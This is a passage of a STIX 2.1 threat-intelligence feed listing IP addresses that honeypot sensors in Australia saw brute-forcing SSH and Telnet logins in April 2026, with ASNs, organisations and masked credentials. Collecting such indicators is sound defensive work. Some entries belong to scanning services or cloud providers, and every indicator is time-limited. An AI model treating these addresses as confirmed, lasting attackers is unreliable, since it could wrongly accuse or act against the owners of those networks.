      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--0253b16c-fac2-4294-88a5-5447fb52a140",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T13:15:11.000Z",
      "valid_until": "2026-05-28T13:15:08.000Z"
    },
    {
      "created": "2026-04-26T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation.",
      "id": "indicator--cedc7b58-2f78-41df-8ac0-194831c1f39a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.141.253.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T14:15:10.000Z",
      "valid_until": "2026-05-28T14:15:08.000Z"
    },
    {
      "created": "2026-04-26T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 51669. Organisation(s): Home Computer Networks ltd.. Usernames observed (masked): A***n, r**t. Passwords observed (masked): 1******n, ***.",
      "id": "indicator--ff8382d9-930d-4df3-af5c-d1ad42c2bf90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.120.177.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T14:15:10.000Z",
      "valid_until": "2026-05-28T14:15:08.000Z"
    },
    {
      "created": "2026-04-26T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--f7ace768-ae17-4f79-a5fd-72e1500e245b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.163.6.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T14:15:10.000Z",
      "valid_until": "2026-05-28T14:15:08.000Z"
    },
    {
      "created": "2026-04-26T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268016. Organisation(s): ZN DIGITAL PALOTINA LTDA ME.",
      "id": "indicator--8190a4f2-af78-482a-a615-c0a722e4c008",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.167.149.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T14:15:10.000Z",
      "valid_until": "2026-05-28T14:15:08.000Z"
    },
    {
      "created": "2026-04-26T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--5ddb96f9-07fe-4a64-90c6-3c66f97ce512",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T14:15:10.000Z",
      "valid_until": "2026-05-28T14:15:08.000Z"
    },
    {
      "created": "2026-04-26T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--691c8b84-15ed-48f3-8437-2b67d59be192",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.18.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T14:15:10.000Z",
      "valid_until": "2026-05-28T14:15:08.000Z"
    },
    {
      "created": "2026-04-26T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): r**t. Passwords observed (masked): 1******R.",
      "id": "indicator--f63b55e1-8761-4367-b54b-66701238dd10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.192.138.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T14:15:10.000Z",
      "valid_until": "2026-05-28T14:15:08.000Z"
    },
    {
      "created": "2026-04-26T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--56c6a97d-782f-425f-8d30-839f6f78e7c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.1.106.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T15:15:11.000Z",
      "valid_until": "2026-05-28T15:15:09.000Z"
    },
    {
      "created": "2026-04-26T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263801. Organisation(s): LINKEAR SRL.",
      "id": "indicator--35f32505-cf68-4376-b1f2-44b003bc87d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '149.78.54.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T15:15:11.000Z",
      "valid_until": "2026-05-28T15:15:09.000Z"
    },
    {
      "created": "2026-04-26T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 274331. Organisation(s): AS274331.",
      "id": "indicator--d3271cd7-fabe-4841-a972-6f40129145a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.64.173.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T15:15:11.000Z",
      "valid_until": "2026-05-28T15:15:09.000Z"
    },
    {
      "created": "2026-04-26T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--ed2685bb-d975-441e-b21e-63fc2b67d0f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T15:15:11.000Z",
      "valid_until": "2026-05-28T15:15:09.000Z"
    },
    {
      "created": "2026-04-26T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--35f93594-8a67-4cd3-bc08-0502b85a9319",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '129.121.38.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T16:15:10.000Z",
      "valid_until": "2026-05-28T16:15:08.000Z"
    },
    {
      "created": "2026-04-26T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 110. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*******x, 0****6, 1**********E, 1*******r, 1**8.",
      "id": "indicator--268be8dd-1990-49d3-9af1-b1ef82b1553b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.34.157.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T16:15:10.000Z",
      "valid_until": "2026-05-28T16:15:08.000Z"
    },
    {
      "created": "2026-04-26T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--5bf0dbc9-9a3c-4cce-9778-358c0145142a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T16:15:10.000Z",
      "valid_until": "2026-05-28T16:15:08.000Z"
    },
    {
      "created": "2026-04-26T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 96. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ea109d81-e943-4c50-b63e-5263fe25d6d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.57.183.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T16:15:10.000Z",
      "valid_until": "2026-05-28T16:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 160. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 29465. Organisation(s): MTN NIGERIA Communication limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0****8, 1*******e, 3***********4, 3**********4, 6******7.",
      "id": "indicator--669c20fa-8475-4770-a357-ae75dce5da8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.89.17.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--dae05feb-9c37-4788-bf5e-e728e2c8d2ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.215.33.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--09a93087-71dd-430a-a183-5b402257819e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.37.100.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 110. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****5, 1******R, 1***E, 3***********4, 3**********4.",
      "id": "indicator--08318bd6-f6d3-40b1-81fe-8cb3969e7671",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.21.59.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--d60368d6-43a3-4a8f-9365-3bfd9283e61b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.182.130.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--9fbc50eb-7251-4d53-9f4f-10ae2f324d6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*****3, 1*****6, 1*****w, 3***********4, 3**********4.",
      "id": "indicator--56a3cb82-0791-46ba-8db4-679255576602",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.32.171.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): !*********D.",
      "id": "indicator--34aad81d-aa5f-4382-8add-6dbb33ba614c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.42.182.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 110. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 8796. Organisation(s): FASTNET DATA INC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*****3, 0*****0, 1*****1, 1*****6, 1*****w.",
      "id": "indicator--17c56cd9-4c04-466d-a164-6885a6008d50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '156.238.224.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): ***, 1****9, 1*******3, 3***********4, 3**********4.",
      "id": "indicator--806d4d56-055e-4550-b42e-41abd484c7a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.32.33.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269181. Organisation(s): NET FIBRA SCM LTDA.",
      "id": "indicator--76ab1861-4a2f-47db-a69f-740be668564b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.181.112.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, ***, !******4, 1****9.",
      "id": "indicator--c0c6236b-7922-4ff1-9ac2-7c89e672ca8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '73.170.63.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RS. ASN(s): 8400. Organisation(s): TELEKOM SRBIJA a.d.. Usernames observed (masked): *, a***n, ***, o******i, r**t. Passwords observed (masked): , *, a***n, o******i, r**t.",
      "id": "indicator--b9654f19-6669-47a6-858d-97d0e18314f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.46.149.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--0d623d01-fdc7-4ea2-88dc-b73fa405f219",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.148.37.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T17:15:11.000Z",
      "valid_until": "2026-05-28T17:15:08.000Z"
    },
    {
      "created": "2026-04-26T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****************c, 2********p, 3***********4, 3**********4, D*********5.",
      "id": "indicator--02acbc36-45a4-48ad-af82-fb5fd56c1d63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '156.232.13.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T18:15:10.000Z",
      "valid_until": "2026-05-28T18:15:08.000Z"
    },
    {
      "created": "2026-04-26T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TN. ASN(s): 37492. Organisation(s): ORANGE.",
      "id": "indicator--9c501d29-bba6-409c-8c9d-ee5a9efbfeaa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.51.29.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T18:15:10.000Z",
      "valid_until": "2026-05-28T18:15:08.000Z"
    },
    {
      "created": "2026-04-26T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): e**********N, t**********n. Passwords observed (masked): a**********m, t*********n.",
      "id": "indicator--85bbb77f-c5bb-41c3-b202-baa614dca201",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T18:15:10.000Z",
      "valid_until": "2026-05-28T18:15:08.000Z"
    },
    {
      "created": "2026-04-26T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 13307. Organisation(s): as6723 Limited Liability Company.",
      "id": "indicator--78e11819-023b-4df3-887d-e000fce1ea4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.143.144.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T18:15:10.000Z",
      "valid_until": "2026-05-28T18:15:08.000Z"
    },
    {
      "created": "2026-04-26T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270310. Organisation(s): ELETRONIC SPORT S BRASILIA LTD ME.",
      "id": "indicator--966ad149-036a-4c13-b48f-6240e609a1de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.77.147.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T18:15:10.000Z",
      "valid_until": "2026-05-28T18:15:08.000Z"
    },
    {
      "created": "2026-04-26T18:15:10.000Z",
